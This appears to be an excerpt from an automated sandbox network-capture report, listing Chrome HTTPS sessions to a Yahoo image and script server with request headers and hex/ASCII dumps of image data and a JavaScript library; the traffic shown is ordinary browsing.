2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 04 00 21 f9 04 05 03 00 c3 00 2c 4e 00 de 00 6d 00 76 00 00 08 ff 00 01 08 1c 48 b0 a0 c1 83 08 13 22 59 c8 50 a1 c3 87 10 23 4a 9c 48 b1 a2 c5 8b 18 33 06 e0 c2 31 8a c7 2b 54 be 44 39 41 ec 81 91 04 06 52 4e 59 c9 b2 a3 c6 97 30 25 82 9c 49 e7 12 98 27 28 55 ce 6c 19 b3 a7 cf 8d 1f 09 88 11 29 72 09 a3 59 92 20 1c 18 da 6e 27 cf 9f 50 7d 12 6d 50 69 13 1b 1b 50 74 3e 75 19 b5 eb 4b 06 4b 80 58 70 33 28 de 23 04 42 81 6e f5 ca 16 63 03 28 8a 60 08 8b 21 6d c7 98 b4 6b db ea 95 59 c4 88 86 3c 26 00 f9 b9 d5 a1 03 bb 62 26 d5 3a d0 ba b7 71 ce c7 3b bd 70 03 5c cd 1a 61 60 90 82 08 49 bc b8 b3 62 c7 a0 b1 84 41 2b 81 db d8 ca 96 79 c9 fb 73 76 b4 d3 a5 a1 63 17 70 fd e3 18 8d db a8 53 b3 11 9d a5 77 13 ce b1 65 43 80 7b 5a c4 9f 70 c8 67 88 92 97 62 89 eb Data Ascii: !,NmvH"YP#JH31+TD9ARNY0%I'(Ul)rY n'P}mPiPt>uKKXp3(#Bnc(`!mkY<&b&:q;p\a`IbA+ysvcpSweC{Zpgb
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: f9 ff ce 0f ca c0 16 8d 38 a5 b0 2c 91 b6 4b ee 33 97 fd f4 5f d1 68 91 03 02 56 80 1a a3 08 da 6d d6 99 d0 40 ee 06 95 ac a8 c5 c4 f8 e9 ce 8a 72 d4 4e b2 1c 20 67 98 c0 83 56 c2 d3 a3 59 1c 1a 24 c7 26 90 20 18 ab a3 28 b5 e6 24 28 b1 52 96 12 e1 a5 27 8d a9 0f 83 99 4c c5 11 c3 0c bf f3 45 ad bc a6 53 f7 8d 82 1d 4a b1 a9 ca 76 48 46 84 16 15 73 49 19 e2 4f 83 2a 54 62 3e 55 a1 41 64 29 00 88 b0 54 fd 39 f5 aa 71 cb aa 52 73 6a 55 b0 16 6f 06 89 58 82 56 27 00 54 b3 02 12 1c d9 f4 29 4e 4d fa 55 b7 1e 4c 18 3e 78 9e 62 ba 80 0e aa 96 d5 ae 2f 6c 83 39 4c d8 05 1c f8 f5 af 80 05 21 1b 06 6b c2 29 72 6f a8 75 4d 6c 9a 2c 10 8b 5e d2 0f 0c f0 a9 a2 64 21 d8 06 88 10 09 97 82 db 6c ba e4 f3 2d 02 ba 0d b4 a2 55 ec 35 ea 59 90 42 a4 b3 03 f8 8b 23 6a 53 4b Data Ascii: 8,K3_hVm@rN gVY$& ($(R'LESJvHFsIO*Tb>UAd)T9qRsjUoXV'T)NMUL>xb/l9L!k)rouMl,^d!l-U5YB#jSK
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 0d 31 81 43 84 73 f6 29 27 1b c8 cc 73 9b 9a 78 6a 61 28 02 5e 6c 61 8a 74 7e 5e 49 e6 2a 73 1c 3a e4 9a 05 54 d1 42 33 1e 34 aa 29 2f c1 2c d3 0d 72 ca 4d 5a a3 94 fb c4 e3 22 9c 3c 6e 5a 8d 28 80 a4 30 1a 86 85 82 ff 8a 40 1d df 2c 62 6b 9c a8 3a 2a e7 3a 1a 20 3a 68 a1 14 14 d3 88 38 b8 e6 aa ab 9c f1 90 32 cf 71 b1 22 50 8c 21 2c 7a 66 ec b4 aa c2 b2 49 25 d8 35 4b 0c 37 3a fe 48 6d aa 4a f6 39 c9 23 52 1c 10 6b 0a 3a dc 3a e6 b7 e1 8a bb 03 18 e5 56 26 ea 65 bd 31 f2 26 ab ec 16 ab 2a 0b c3 14 21 c6 bc bb 31 41 4d 26 62 e2 9b 2f b8 8d 7a ea 1d a1 1c d2 11 1e 2e 16 1e ac af aa 32 38 62 5c 7f 0c ef 26 47 ba 11 1f 8b 70 b5 8e f8 9a f1 6a 1e 76 c2 a9 c1 1e a7 3c a7 37 91 b6 e3 24 77 76 d0 e1 0a 88 de 4e ac f2 a6 9c 78 e3 f2 cb 00 93 15 c4 0f 87 d9 4c f1 Data Ascii: 1Cs)'sxja(^lat~^Is:TB34)/,rMZ"<nZ(0@,bk:: :h82q"P!,zfI%5K7:HmJ9#Rk::V&e1&*!1AM&b/z.28b\&Gpjv<7$wvNxL
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: b1 8f 05 42 84 f6 d6 b8 c8 37 5e 44 73 b9 bb e4 81 10 c3 0c 19 86 b2 24 d9 c1 61 2a 2f b9 c9 5a e6 69 22 bc ca d1 2a 33 79 a0 36 3c 59 9a c3 fc c3 77 8c c6 ff cb 55 96 00 9a b3 cc e6 f9 8d 19 ce 71 ae 55 9d 0d 7a 67 3c 4b e4 41 e8 1c f2 9a f7 8c 40 70 64 f7 c4 4a fe 32 0f 46 f9 56 42 ff 70 6e 49 4e f4 9f d1 a1 35 b3 ea 75 d0 8e 96 5c 2d d8 60 0e 09 6b 48 d2 36 c2 01 8d 1b 9d e9 e4 1d a6 d3 ff fa b4 aa 41 ed 90 56 8c 22 6b 96 a6 68 a9 63 c7 86 78 10 37 d5 14 36 33 93 7d c1 6b 22 cb 7a d6 9a 6e 03 6b c6 10 bc 4b 0b 19 d8 a1 53 84 b0 3d ad 6b 82 1c 07 1e 20 8d f5 b1 91 fd b6 58 84 8c d9 cd 26 88 20 f4 30 88 f1 52 7b 7b c2 d0 83 6b b1 ad 91 1f 70 db d7 df a6 b5 2d e8 1b e3 85 a0 22 15 a3 4e 77 ec 66 71 0c cb b5 5b 21 e0 f1 b6 bc 93 cd 0f 7b df 1b 21 5d 40 87 Data Ascii: B7^Ds$a/Zi"3y6<YwUqUzg<KA@pdJ2FVBpnIN5u\-`kH6AV"khcx763}k"znkKS=k X& 0R{{kp-"Nwfq[!{!]@
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: c1 9f 7f fe cd d1 49 53 c0 44 38 08 66 22 54 68 e1 1a ab c9 62 47 4d 48 d8 c5 60 68 08 b4 b0 0c 79 14 5e 68 60 25 5c c9 d6 a1 87 1f e6 45 00 01 2a f4 03 a1 7d 25 9a 38 9d 38 fa d1 f4 04 8b 2d e2 f5 62 0a df c4 80 9a 81 35 da f8 87 38 40 e9 c8 63 8f 6c 79 e1 c5 0e 58 d1 88 8d 1a 54 56 69 a4 0b a8 54 70 dd 82 49 44 b0 00 93 3e a2 23 cd 22 7e 48 69 65 91 e5 a1 f5 de 92 60 8a b5 65 23 b6 68 c6 98 09 19 d4 39 e5 99 78 96 79 c1 23 5e ee c7 66 9b 30 ad 70 9d 39 93 f4 45 e4 9d 79 16 f9 49 1b 4a 02 da 64 18 75 3c 83 a1 99 88 26 3a 5e 66 9e 04 c1 e1 8a 5f 3a ea a6 1c 41 5e 69 a7 a5 79 ea 60 88 60 9c 7a aa 53 01 15 30 41 e2 a1 68 c6 ff 1a ca 05 8c 28 30 0f 64 5b a6 aa 6a 4b d7 d9 81 0c 7d 94 c2 21 ac ac b1 ee e0 cf 1d 2f e6 ba ab 4e fd 6c d3 4b 62 71 0d 49 ec b4 16 Data Ascii: ISD8f"ThbGMH`hy^h`%\E*}%88-b58@clyXTViTpID>#"~Hie`e#h9xy#^f0p9EyIJdu<&:^f_:A^iy``zS0Ah(0d[jK}!/NlKbqI
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2f 66 44 9c 00 2d 2e 78 41 b8 8a 68 d4 34 bb 3e 6b 07 05 28 30 56 79 aa 77 bd 32 2c 43 1d 58 a5 dd 54 6d e0 57 df bd 2f 7e e1 c7 09 12 ce b6 21 0a 0c f0 5c 07 ec 5a 7a ec d3 7c a4 a5 2d 18 3a 2b 60 06 7f f6 02 f4 a8 87 0f 20 1c 61 db 6c c0 9e 08 74 29 6b 2d 1c d4 e7 01 41 03 4a fc 08 45 c8 30 ce 10 57 98 c4 43 c4 c4 0f 78 07 ca 86 6c 6f aa 2e 8e de 88 61 5c d6 36 d4 60 03 59 8d c8 04 f0 b0 da d3 51 58 4f 22 e6 b1 67 47 d1 83 5b 05 b9 b9 ac 44 69 5f 5f ac 64 ce e1 63 0e f3 b8 15 45 48 99 45 78 ee 98 ca 55 ae 9a b5 36 30 d9 87 fc 13 a8 e4 0c b3 71 93 04 b2 cb 79 77 ff b1 6a d6 6d 59 1c ba 90 29 26 36 cd 71 96 2e 35 38 fc 90 55 ea 78 c1 79 26 31 2d 6d 33 94 20 48 42 a5 81 86 71 33 ee aa 10 0d 74 4d c1 89 06 ef 32 4c 61 5e 84 94 e1 c8 1a fd 72 a4 e5 ca 66 8e Data Ascii: /fD-.xAh4>k(0Vyw2,CXTmW/~!\Zz\|-:+` alt)k-AJE0WCxlo.a\6`YQXO"gG[Di__dcEHExU60qywjmY)&6q.58Uxy&1-m3 HBq3tM2La^rf
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 03 ac e7 93 d8 b4 04 d4 b0 2d 1f 89 7a 79 c6 55 01 69 87 20 32 8a 4b 10 07 f0 d0 83 73 48 62 cd 60 95 57 69 89 2a 26 19 92 60 6c ff 08 71 7b e9 0d 14 57 6a a1 c1 04 6b f9 94 61 37 91 0c 76 0a fb b5 94 94 b9 2a 82 65 0e ee e0 88 3b 57 9a e0 c6 09 c7 f2 99 82 f7 28 2e 27 1b 2a 10 07 6f 96 79 a6 d9 58 fa 15 8a 5a b9 98 3d a9 98 68 79 07 e7 e0 0e cf 94 99 c9 58 8e 41 a5 0a 37 50 09 14 a0 81 74 49 15 c9 72 08 28 00 25 c1 f9 88 9b 25 95 f8 d4 14 33 40 06 75 30 5f 04 99 9c ac 69 0e cc 00 09 67 e0 3d be b8 5b d2 d0 90 0a 36 b0 61 ba 79 8f 3d c2 2a 41 50 0c f8 d3 8f c1 04 1d 93 70 44 b5 17 93 b8 49 2f 1a d0 9b ab d0 7c 90 d5 4d a7 77 61 a4 94 0d ac 90 8d af 53 9f e5 a2 25 75 70 0a 8e 80 99 fc a9 49 f5 57 27 8c 60 0a e3 75 9c b7 79 72 7e f9 32 8d 22 0b 95 70 0c 3a Data Ascii: -zyUi 2KsHb`Wi&`lq{Wjka7ve;W(.'oyXZ=hyXA7PtIr(%%3@u0_ig=[6ay=APpDI/\|MwaS%upIW'`uyr~2"p:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49819	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	514	OUT	GET /uu/api/res/1.2/qsl2XvTswucVaJ0i01KLDQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/nbc_today_217/78dc3507a3d6b6cef696374ddad0c7e6.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	1294	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 294976899859197393032352645973859864370,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="78dc3507a3d6b6cef696374ddad0c7e6.webp" Edge-Cache-Tag: 294976899859197393032352645973859864370,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "584398faac5c56b833087c5794209f16" Last-Modified: Mon, 08 Jan 2024 19:54:26 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=10198,owidth=1500,oheight=1029,obytes=211968,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 82b47cd2ce9f4de4b961b8b92be9afa9 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 14:35:11 GMT X-Served-By: cache-iad-kjyo7100120-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704897312.946662,VS0,VE1 Age: 31919 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 82b47cd2ce9f4de4b961b8b92be9afa9 cld_by: cache-iad-kjyo7100120-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 25618 ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 b4 01 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 02 03 01 01 01 00 00 00 00 00 00 00 00 00 06 07 05 08 02 03 04 00 09 01 ff c4 00 46 10 00 01 03 02 04 04 03 07 01 05 06 05 04 01 05 00 01 02 03 04 05 11 00 06 12 21 07 13 31 41 22 51 61 08 14 32 71 81 91 a1 b1 15 Data Ascii: JFIFCCdF!1A"Qa2q
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 31 c5 7e 29 48 cc 74 d7 61 53 92 a4 44 49 d9 cb fc 43 b8 03 1a 1a 7a b4 cc 6e b1 d5 2f 5d 88 27 d2 94 db 6c 74 2b c1 e6 8f 96 d9 a3 08 48 f6 10 e7 b0 84 7b 08 46 c6 5c 08 24 2b bf 7c 21 1d 69 3d f0 89 44 da 15 61 6b 61 12 a3 f4 ef 84 0d 98 96 c0 37 f3 c2 6e 86 66 71 e2 ae 4a c2 1b 3e 22 40 02 d8 67 24 8b 18 63 dd c0 ca c9 f9 02 5c c9 9c f9 65 4d 36 90 12 b5 8d b4 ec 01 4d fc b6 df cf a6 d8 c9 d9 da fa 47 43 ad d3 ab 96 1d 40 45 1e 02 07 ec ba 52 9f e5 28 a5 2e 28 6d f3 4f 9f fe 31 97 dd 95 f9 37 14 31 2f 08 95 a5 67 3a aa cf b9 b1 57 9d 1a 38 e8 ca 17 a5 3f 4c 2b 93 f2 46 4a 35 c0 c1 a0 ce 9b 39 a0 c2 df 2b 5f f0 17 12 16 8f 5b 28 f4 c3 32 09 b0 a0 52 89 42 5a 9c 98 ee 24 74 4b 8d d8 ff 00 a8 fb e2 0d 06 8c 93 f2 2e 78 91 c2 3a 25 66 1a de 65 a4 32 b5 Data Ascii: !1~)HtaSDICzn/]'lt+H{F\$+\|!i=Daka7nfqJ>"@g$c\eM6MGC@ER(.(mO171/g:W8?L+FJ59+_[(2RBZ$tK.x:%fe2
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: b1 de cd 1c 6b cb 1f fa b7 26 af 9d eb 5e e7 31 fb b7 18 ba 82 96 c0 dc 01 ab a2 7a 8e b8 e3 76 f5 b2 bc d1 67 5d 78 7d 89 61 47 07 b4 05 16 83 9f b8 b5 57 89 1d e6 ea 31 6b 51 9c 43 0f 33 65 25 b7 7f 87 a1 ff 00 4c 4f 53 6d e9 be 46 7a 6b 6f 5e 8a 37 c6 6e 06 e6 6e 08 55 d9 a1 66 ba 8d 35 e9 cf b0 99 21 a8 8f 73 34 b6 ab d8 ab 6d 8e dd 31 dc 69 75 38 ee 2f d3 f0 70 5b dd 2f e2 b6 05 65 85 a5 ba fc 17 d7 09 32 52 d3 e8 5a 9b 51 f0 a8 03 d0 ed 8b fb 32 5d a5 0d 68 b7 2b a2 c1 ce e1 a7 10 78 f7 18 d4 a8 b9 79 ac bd 95 69 1a 92 e4 99 2e 92 85 db ae 91 d4 da df 9c 60 6b 4b 07 4e b7 e5 b3 a1 d8 8e c7 52 4b 07 ed 40 83 5e ce 59 92 5f bb 3b 48 70 54 23 39 2d 0c 3a f3 60 94 b6 37 b9 f9 62 c4 fa b2 51 76 2c 5d 07 fd 42 c5 67 d2 4a 65 5e 1f 07 fd 9f dc a4 50 db 0c Data Ascii: k&^1zvg]x}aGW1kQC3e%LOSmFzko^7nnUf5!s4m1iu8/p[/e2RZQ2]h+xyi.`kKNRK@^Y_;HpT#9-:`7bQv,]BgJe^P
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 7b 66 5a fb 1e 0a 7a 8b 67 5e 56 e4 0e d5 f3 8e 71 93 4d 6e 33 39 c2 7c a8 ae 14 46 68 38 41 0b 75 46 ca 36 ed 6d b1 49 2d 78 78 37 56 e6 76 b9 98 f3 cf d9 72 bd c2 1f 66 c0 f5 46 24 59 8a 43 08 0f 3e 46 c1 4e 58 05 0e bd c8 c5 bd 05 f2 b6 52 46 56 f6 f3 8c 5d b2 8f c7 86 d3 84 86 1f 5c 85 f6 44 76 4a d4 7e f6 c7 a4 c2 29 24 70 52 b6 ec 96 5c ec c7 21 22 8a 9a 8c 96 db 8e d9 53 8c 97 09 4c 76 d3 d4 a8 ed 6b 77 db ad 87 52 31 24 88 a0 65 4a b6 25 54 48 fc d5 71 85 44 28 c0 f5 c2 1e 80 26 46 b7 12 8b da e7 ae 30 58 45 e4 38 a2 44 62 b9 1c d1 c3 a8 69 cd 37 64 ad 56 1a c7 51 f3 23 14 52 36 53 5e d7 61 d3 1f 2d 34 cc d3 0e b4 56 c9 fe 64 a0 2c 0f b1 df 13 aa 44 2b 83 b1 6f d0 a8 cc f2 62 bc a5 ca 6f e1 29 ba 2d f4 22 f8 65 c8 39 70 08 54 27 a1 e9 6b 71 3a f7 Data Ascii: {fZzg^VqMn39\|Fh8AuF6mI-xx7VvrfF$YC>FNXRFV]\DvJ~)$pR\!"SLvkwR1$eJ%THqD(&F0XE8Dbi7dVQ#R6S^a-4Vd,D+obo)-"e9pT'kq:
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: c1 c4 6a c9 26 66 97 92 a5 68 59 b5 f0 d5 43 7b a8 c5 4e a5 20 ad 07 57 a7 4d bb 61 51 25 95 1d 0d 3f cb 02 c2 e8 23 6b 61 30 91 ca 75 09 63 98 0b e3 5b 6a 1b 11 db d7 e7 fa e0 72 b6 4e 93 37 e5 ec 8a ee 6c ab 8a 64 79 d1 e1 a1 c0 54 1d 78 f8 51 6e c7 0b e4 fb 28 1a e9 fe fb bb 08 ea fc 17 a5 50 db 2a 91 c4 0a 63 8a 1f c0 da ee 7f 5c 03 fc 9c 9f 88 06 5d 32 2b cc 88 56 b2 66 48 66 e6 56 70 47 f8 74 04 fe 71 2f 97 9d f8 80 cb 53 02 f3 30 82 1f 0f 78 7b 5b 94 d4 1c a7 54 a8 d4 67 38 ad 24 21 bd bd 37 22 de 78 83 dd cd 1f e5 88 45 a3 8a 5f c4 c8 ee 2a f0 af ff 00 4e 1f 88 8f 7e 4b de f6 d8 5e 84 8f 83 a6 d7 bf ae 2c eb 6d 3d 87 e0 ad b1 a7 f1 c0 58 a8 bb e9 da f8 b7 91 f6 a2 9c 63 6e 87 f7 09 68 10 53 29 94 bc a4 a4 c7 42 35 ea 36 b0 22 f7 c7 39 b1 2e e6 ce Data Ascii: j&fhYC{N WMaQ%?#ka0uc[jrN7ldyTxQn(Pc\]2+VfHfVpGtq/S0x{[Tg8$!7"xE_N~K^,m=XcnhS)B56"9.
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 00 ef e8 48 fa e3 9d 9a b6 76 6b c0 f4 ca 95 78 8f 40 a5 22 49 bb 8d 95 38 b1 7d 8a b4 28 df f3 f7 b1 c0 a8 98 4c b8 d0 9b 77 56 a0 52 f7 2c df d4 80 49 fc 0c 26 4d 3b 31 7a 92 cb 92 8b 97 fe fd bf 2e 98 62 4c fc 4d 21 08 b7 24 10 a4 28 94 28 75 1e 98 74 0d b4 d9 28 f4 aa 7d 32 37 39 f4 ee ef 80 22 f6 d2 49 03 ae 18 80 25 99 33 90 43 3e ee cb 81 1a 15 74 90 6f 6c 3a 13 54 05 cd ce 49 ad 20 45 9c e8 0f b7 76 c1 27 6b 0e 9f 92 31 34 45 aa 14 79 c5 e4 2d f5 16 95 75 26 f6 51 eb f5 c5 ac 0b 92 a6 77 41 17 0a 33 5b 8e f3 e0 38 f6 87 52 36 58 3b a0 03 b9 18 59 a3 72 16 07 dc 86 97 13 aa 8e 55 a8 b0 e6 38 a0 54 fb 41 4a 29 ec b1 b2 ec 7e 57 df d0 1c 41 c6 89 a1 69 4a 9c 5d 8d c8 50 e8 a0 b4 8b f7 1d bf 38 1c 90 48 f0 1b b5 21 ba f6 5a 14 b7 bc 6f a2 c6 e4 ef a8 Data Ascii: Hvkx@"I8}(LwVR,I&M;1z.bLM!$((ut(}279"I%3C>tol:TI Ev'k14Ey-u&QwA3[8R6X;YrU8TAJ)~WAiJ]P8H!Zo
2024-01-10 23:27:10 UTC	69	IN	Data Raw: 0a 82 d1 fd e3 6e 6b ff 00 a1 57 07 f4 18 66 85 19 50 c2 c8 32 5c 5d 55 10 2f 64 c8 58 4a 8f d0 db f3 b7 d7 01 ae 42 29 3a 0f 38 63 9a 57 91 b8 8a c4 a7 5b 4d d8 59 6d c0 ad c2 db 58 d2 47 df 4a be 83 b5 c6 Data Ascii: nkWfP2\]U/dXJB):8cW[MYmXGJ
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2a ed 42 d7 01 f0 b2 cc 66 29 b0 a6 53 44 88 40 9f 78 48 5d 92 6f 60 7a 6f 8c 49 6a d7 26 e6 a6 46 99 f3 e7 da a2 7c 85 67 c6 54 b0 da 56 18 d0 a4 04 74 df cc ee 71 d0 f4 35 48 e6 3a fe cd e7 a0 93 d9 e6 25 52 b9 94 1b 6e 9d 21 51 e4 26 ac 5e 69 c6 85 94 85 a5 37 07 f5 c6 7f 57 da 7a d9 cd 7e 8f a8 b6 f0 70 5f 7e 0f f1 5e a3 ee 8d 52 73 68 6d 97 53 66 da 75 5e 0d 6a 1d 6f eb d3 0f d3 7a 97 bd e4 17 51 e8 72 c1 fa a8 6e c9 cc 91 55 13 98 db 80 05 7a de f8 d3 d8 d8 4c ca d6 d6 6b c8 3d 9b 33 5d 32 89 44 7e a0 eb 6e bc 96 d8 2e 16 d9 41 5a d5 b7 40 90 2e 71 8b b3 2b 4c d2 50 a1 05 44 cd 6f 66 1a bb 70 33 c4 d4 c1 82 e3 ba e3 a1 ed 8d 89 36 16 fa fe 31 ce 3d 99 5f 83 a1 d2 e5 50 d2 a8 64 9c 8c 96 d1 30 56 58 b3 ac 86 ca 16 b0 41 49 eb 7c 37 ca 65 b5 19 b9 53 Data Ascii: *Bf)SD@xH]o`zoIj&F\|gTVtq5H:%Rn!Q&^i7Wz~p_~^RshmSfu^jozQrnUzLk=3]2D~n.AZ@.q+LPDofp361=_Pd0VXAI\|7eS
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 35 73 a5 34 02 03 41 b6 c7 9f 99 fd 30 45 36 fc 9c ed 50 80 e3 57 06 b2 7a f3 ec 3a cd 3e a7 30 54 9c 6d 66 44 70 ee a6 d2 90 05 88 1b 5b 7d be be 98 cd da d9 85 d1 d2 f4 7d 46 ff 00 5a 85 35 66 87 51 a6 54 1c 52 de 5b 7c b4 95 0d 37 01 63 e7 85 08 a9 51 d4 ca 2a 31 b6 b8 2a 77 1c 78 9d 3f 88 f9 e9 c9 2f 4c e7 c3 a4 47 45 36 1e d6 f0 20 a8 a9 47 7d c9 52 89 fb 63 d3 bd 3b a9 f1 30 5f d9 e1 fe ac db f9 5b ad 62 7f 82 f0 00 a1 57 c7 50 9d 9c 9a e1 9d bc e2 f2 50 b5 dc 3c 9f ff 00 20 36 bf cc 79 fa e2 71 a1 06 bc 1d ad 27 2f 67 a8 39 89 da 6b 75 23 4c 0a 7d 0c 3c 9b a1 46 c4 7d 0d 89 b1 ec 6c 7b 60 ab 02 cc 03 63 3f b2 b8 18 15 6c e7 46 e3 0f 16 a9 b4 3c ce d0 87 4b 90 f2 10 db 0d c8 3c d5 3a ea 92 84 a4 2c 8b 00 2e 7b 0e f8 af 9b 87 42 c0 ed 58 da 91 ec 43 Data Ascii: 5s4A0E6PWz:>0TmfDp[}}FZ5fQTR[\|7cQ1wx?/LGE6 G}Rc;0_[bWPP< 6yq'/g9ku#L}<F}l{`c?lF<K<:,.{BXC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49820	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	538	OUT	GET /aaq/wf/wf-core-1.65.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: e3qQghEiZKm3NZlI59uQtm6GEMX+j1F7iHmPwHcUgcf/svi1awQf2KGl55irEW8XzgZUii1tqfA= x-amz-request-id: 208HX2F414CYK8DH Date: Wed, 10 Jan 2024 23:27:11 GMT Last-Modified: Mon, 04 Dec 2023 18:45:04 GMT ETag: "ef13714e251549821d2930d0d99d6b70" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 20SJDrjaD349v_TEBoaGm7JknCokjFV_ Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 60307 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 77 61 66 65 72 3d 74 28 29 3a 65 2e 77 61 66 65 72 3d 74 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}("undefined"!=typeof self?self:this,function(){return fun
